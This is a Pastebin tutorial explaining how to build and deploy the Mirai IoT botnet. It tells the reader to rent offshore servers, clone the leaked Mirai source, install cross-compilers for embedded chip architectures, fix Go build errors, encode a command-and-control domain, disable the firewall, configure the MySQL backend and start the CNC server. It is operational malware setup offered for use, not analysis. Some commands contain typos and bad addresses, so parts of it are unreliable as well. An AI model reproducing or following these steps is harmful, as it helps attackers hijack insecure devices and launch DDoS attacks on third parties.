Advertisement
Jihadi4Prez

[Tutorial] How to setup Mirai

Dec 22nd, 2016
24,621
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.07 KB | None | 0 0
  1. ███╗ ███╗██╗██████╗ █████╗ ██╗ ██████╗ ██████╗ ████████╗███╗ ██╗███████╗████████╗
  2. ████╗ ████║██║██╔══██╗██╔══██╗██║ ██╔══██╗██╔═══██╗╚══██╔══╝████╗ ██║██╔════╝╚══██╔══╝
  3. ██╔████╔██║██║██████╔╝███████║██║ ██████╔╝██║ ██║ ██║ ██╔██╗ ██║█████╗ ██║
  4. ██║╚██╔╝██║██║██╔══██╗██╔══██║██║ ██╔══██╗██║ ██║ ██║ ██║╚██╗██║██╔══╝ ██║
  5. ██║ ╚═╝ ██║██║██║ ██║██║ ██║██║ ██████╔╝╚██████╔╝ ██║ ██║ ╚████║███████╗ ██║
  6. ╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═══╝╚══════╝ ╚═╝
  7.  
  8. ████████╗██╗ ██╗████████╗ ██████╗ ██████╗ ██╗ █████╗ ██╗
  9. ╚══██╔══╝██║ ██║╚══██╔══╝██╔═══██╗██╔══██╗██║██╔══██╗██║
  10. ██║ ██║ ██║ ██║ ██║ ██║██████╔╝██║███████║██║
  11. ██║ ██║ ██║ ██║ ██║ ██║██╔══██╗██║██╔══██║██║
  12. ██║ ╚██████╔╝ ██║ ╚██████╔╝██║ ██║██║██║ ██║███████╗
  13. ╚═╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚══════╝
  14. UPDATED 7/5/17
  15. By: Jihadi4Potus
  16. Leakedfiles.org
  17. Refrence: https://www.youtube.com/watch?v=G4vUp3ydjs0
  18.  
  19. * REQUIREMENTS *
  20. - 2x Debian 8 Offshore boxes - Providers. [x0]
  21. - Mirai Source - https://github.com/jgamblin/Mirai-Source-Code git clone https://github.com/jgamblin/Mirai-Source-Code
  22. - Good Instruction following skillz.
  23.  
  24. [x0] Hosting Providers.
  25. http://www.novogara.com/
  26.  
  27. ;This is a fully tutorial how to setup mirai from scratch. ENJOY :)
  28. ;This fixes golang errors when ./build debug telnet , is executed.
  29.  
  30. [x01] Install the following on a Debian box. ex. Debian 7 x86_64-
  31. apt-get update -y
  32. apt-get upgrade -y
  33. apt-get install gcc golang electric-fence sudo git libc6-dev -y
  34. apt-get install mysql-server mysql-client -y
  35.  
  36. [x01.5]
  37. ;New version goLang was released and there isn't a library for it yet so that's why you're getting the "go/src/github.com/go-sql-driver/mysql/utils.go:806: undefined: atomic.Value" error this is the fix.
  38.  
  39. sudo apt-get install curl git mercurial make binutils bison gcc build-essential -y
  40. wget https://storage.googleapis.com/golang/go1.9.2.linux-amd64.tar.gz
  41. sudo tar -xvf go1.9.2.linux-amd64.tar.gz
  42. sudo mv go /usr/local
  43. export GOROOT=/usr/local/go
  44. export GOPATH=$HOME/Projects/Proj1
  45. export PATH=$GOPATH/bin:$GOROOT/bin:$PATH
  46. go get github.com/go-sql-driver/mysql
  47. go get github.com/mattn/go-shellwords
  48.  
  49. [x02] Installing and compiling the cross-compilers-
  50. ;If you run build.sh in /mirai folder you will get an error for armv6l, In the main tutorial this wasn't included so I added it to make life easier.
  51.  
  52. mkdir /etc/xcompile
  53. cd /etc/xcompile
  54.  
  55. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2
  56. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2
  57. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2
  58. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2
  59. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2
  60. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2
  61. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2
  62. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2
  63. wget http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2
  64.  
  65. tar -jxf cross-compiler-armv4l.tar.bz2
  66. tar -jxf cross-compiler-i586.tar.bz2
  67. tar -jxf cross-compiler-m68k.tar.bz2
  68. tar -jxf cross-compiler-mips.tar.bz2
  69. tar -jxf cross-compiler-mipsel.tar.bz2
  70. tar -jxf cross-compiler-powerpc.tar.bz2
  71. tar -jxf cross-compiler-sh4.tar.bz2
  72. tar -jxf cross-compiler-sparc.tar.bz2
  73. tar -jxf cross-compiler-armv6l.tar.bz2
  74.  
  75. rm *.tar.bz2
  76. mv cross-compiler-armv4l armv4l
  77. mv cross-compiler-i586 i586
  78. mv cross-compiler-m68k m68k
  79. mv cross-compiler-mips mips
  80. mv cross-compiler-mipsel mipsel
  81. mv cross-compiler-powerpc powerpc
  82. mv cross-compiler-sh4 sh4
  83. mv cross-compiler-sparc sparc
  84. mv cross-compiler-armv6l armv6l
  85.  
  86. [x03] Adding GoLang paths.
  87. ;Execute these in your ssh terminal, this will add to your ~/.bashrc
  88. export PATH=$PATH:/etc/xcompile/armv4l/bin
  89. export PATH=$PATH:/etc/xcompile/armv6l/bin
  90. export PATH=$PATH:/etc/xcompile/i586/bin
  91. export PATH=$PATH:/etc/xcompile/m68k/bin
  92. export PATH=$PATH:/etc/xcompile/mips/bin
  93. export PATH=$PATH:/etc/xcompile/mipsel/bin
  94. export PATH=$PATH:/etc/xcompile/powerpc/bin
  95. export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin
  96. export PATH=$PATH:/etc/xcompile/sh4/bin
  97. export PATH=$PATH:/etc/xcompile/sparc/bin
  98. export PATH=$PATH:/etc/xcompile/armv6l/bin
  99.  
  100. export PATH=$PATH:/usr/local/go/bin
  101. export GOPATH=$HOME/Documents/go
  102.  
  103. [x04] Fixing errors.
  104. ./build.sh debug telnet
  105. ;Once you execute this in the main mirai directory ./Mirai-Source-Code/mirai, If you did this command before step 2 & 3 you would get an error about the Mysql and sql-drivers, since that's what alot of people have had trouble with. This fixes that.
  106. go get github.com/go-sql-driver/mysql
  107. go get github.com/mattn/go-shellwords
  108.  
  109.  
  110. [x05] Obfuscated string
  111. ;I'm running Debian 8 x86_64 so this might be diffrent for you, but the ./debug/enc string {Domain.com} wasn't working for me so the fix is below, make sure you're in /mirai/debug
  112. ./enc string changeme.com
  113. ;Now add this to your table.c file.
  114.  
  115.  
  116.  
  117. [x06] Database setup
  118. ;Now where going to setup the database permissions and users.
  119. ;If you have iptbales/ip6tables or any firewall install disable it.
  120.  
  121. service iptables stop
  122. /etc/ini.d/iptbales stop
  123.  
  124. ;Database setup
  125. /usr/bin/mysql_secure_installation
  126. ;It will ask you to set a password, make sure you remember this.
  127. ;Edit your main.go in /cnc/
  128. ex: 120.0.0.1:3306
  129. ;Once you've done the step above were going to add the database and user perms. follow this link.
  130. ;Create the database first
  131. create database mirai;
  132. ;Next select the database
  133. use mirai
  134. ;Copy and paste this into your terminal. (Not the pastebin link, the actual code on the site.)
  135. http://pastebin.com/BsSWnK7i
  136. ;Set the credentials you used in the ./cnc/main.go file. It should look like this- http://prntscr.com/dnskj5
  137. ;Now your server should be online
  138. Service mysql restart
  139. ;Once you restart the mysql server, go to your debug folder ./mirai/release you will seen a compiled file named cnc execute it.
  140. ./cnc
  141. ;You should see - http://prntscr.com/dnsluv
  142. ;Now your going to have to move the prompt.txt file in mirai main directory into the release folder
  143. ;Now you can login through your ssh client with telnet.
  144.  
  145.  
  146. Congrats you setup mirai successfully!!
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement